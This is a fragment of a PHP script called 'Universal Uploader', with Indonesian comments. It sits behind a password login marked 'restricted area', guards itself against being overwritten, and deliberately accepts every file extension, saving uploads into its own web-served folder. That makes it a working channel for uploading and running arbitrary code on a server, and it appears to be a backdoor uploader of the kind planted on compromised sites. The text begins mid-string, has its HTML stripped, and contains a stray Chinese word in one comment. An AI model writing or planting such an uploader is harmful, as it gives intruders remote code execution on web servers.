ERROR: Folder Tidak Bisa Ditulis
Script tidak bisa menyimpan file di folder ini.
Lokasi: " . htmlspecialchars($upload_dir) . "
Silakan ubah permission folder ini menjadi 777 atau 755 lewat FTP/File Manager.
");
}
}
// Mencegah diri sendiri (script uploader) ditimpa oleh file yang diupload
// Jika seseorang mengupload file dengan nama yang sama dengan script ini, akan ditolak.
if (isset($_FILES['file']['name'])) {
$uploaded_name = basename($_FILES['file']['name']);
if ($uploaded_name === $script_name) {
die("
ERROR: Nama File Terlarang
Anda tidak boleh mengupload file yang memiliki nama sama dengan script uploader ini.
Silakan ganti nama file Anda.
");
}
}
// ---------------------------------------------------------
// SESI & LOGIN
// ---------------------------------------------------------
session_start();
if (isset($_GET['logout'])) {
session_destroy();
header("Location: $script_name");
exit;
}
if (!isset($_SESSION['authenticated'])) {
if (isset($_POST['password']) && $_POST['password'] === $auth_pass) {
session_regenerate_id(true);
$_SESSION['authenticated'] = true;
// Redirect ke diri sendiri untuk refresh halaman
header("Location: $script_name");
exit;
} else {
// Tampilan Login
echo '
Login Access
RESTRICTED AREA
' . (isset($_POST['password']) ? '
Password Salah!
' : '') . '
';
exit;
}
}
// ---------------------------------------------------------
// PROSES UPLOAD
// ---------------------------------------------------------
$message = "";
$messageType = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
try {
$file = $_FILES['file'];
// 1. Cek Error Dasar
if ($file['error'] !== UPLOAD_ERR_OK) {
throw new Exception("Gagal upload (Kode Error: " . $file['error'] . ").");
}
// 2. Cek Ukuran
if ($file['size'] > $max_file_size) {
throw new Exception("Ukuran file terlalu besar. Maksimal " . ($max_file_size / 1024 / 1024) . "MB.");
}
// 3. Sanitasi Nama File (Hanya bersihkan karakter aneh, JANGAN blok ekstensi)
$file_name = $file['name'];
// Hapus karakter yang bisa merusak path, tapi biarkan ekstensi apapun
$file_name = preg_replace('/[^a-zA-Z0-9.\-_]/', '', $file_name);
// Jika nama file kosong setelah sanitasi (misal nama file全是 simbol aneh)
if (empty($file_name)) {
$file_name = 'file_' . time() . '.dat';
}
// 4. Handle Nama Ganda
$destination = $upload_dir . '/' . $file_name;
$counter = 1;
$base_name = pathinfo($file_name, PATHINFO_FILENAME);
$extension = pathinfo($file_name, PATHINFO_EXTENSION);
// Jika tidak ada ekstensi, handle agar loop tidak error
if (empty($extension)) {
$extension = "";
} else {
$extension = "." . $extension;
}
while (file_exists($destination)) {
$file_name = $base_name . '_' . $counter . $extension;
$destination = $upload_dir . '/' . $file_name;
$counter++;
}
// 5. Pindahkan File
if (!move_uploaded_file($file['tmp_name'], $destination)) {
throw new Exception("Gagal memindahkan file. Permission folder mungkin tidak 777.");
}
// 6. Set Permissions (Biarkan 0644 agar aman, tapi bisa diakses)
chmod($destination, 0644);
$message = "Sukses! File " . htmlspecialchars($file_name) . " telah diupload.";
$messageType = "success";
} catch (Exception $e) {
$message = "Error: " . $e->getMessage();
$messageType = "error";
}
}
?>
Universal Uploader
Universal Uploader
Menerima semua tipe file.
Maksimal ukuran: MB
Lokasi penyimpanan: Folder script ini.